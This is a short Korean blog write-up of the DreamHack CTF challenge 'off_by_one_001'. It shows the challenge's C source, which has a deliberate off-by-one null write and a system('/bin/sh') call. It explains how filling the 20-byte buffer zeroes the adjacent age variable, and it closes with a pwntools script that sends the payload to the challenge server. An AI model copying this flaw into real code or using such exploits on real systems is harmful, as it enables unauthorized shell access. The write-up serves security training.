Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] 문제풀이(off_by_one_001) 본문

Hack/DreamHack

[System_Hacking] 문제풀이(off_by_one_001)

CIDY 2022. 7. 16. 18:41
// 32-bit, nx, partial relro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_str(char *ptr, int size)
{
    int len;
    len = read(0, ptr, size);
    printf("%d", len);
    ptr[len] = '\0';
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char name[20];
    int age = 1;

    initialize();

    printf("Name: ");
    read_str(name, 20);

    printf("Are you baby?");

    if (age == 0)
    {
        get_shell();
    }
    else
    {
        printf("Ok, chance: \n");
        read(0, name, 20);
    }

    return 0;
}

 

 

age를 0으로 맞추면 쉘을 준다. 배열과 int age가 붙어있기 때문에 배열의 [20]을 조작해 age를 0으로 맞출 수 있다. 그런데 마침 read_str함수에서 널을 넣어주는데 인덱스가 [len -1]이 아니고 [len]이다. → 꽉 채워주면 자동으로 해결

 

from pwn import *

p = remote("host1.dreamhack.games", 16328)

p.send(b"A" * 20)

p.interactive()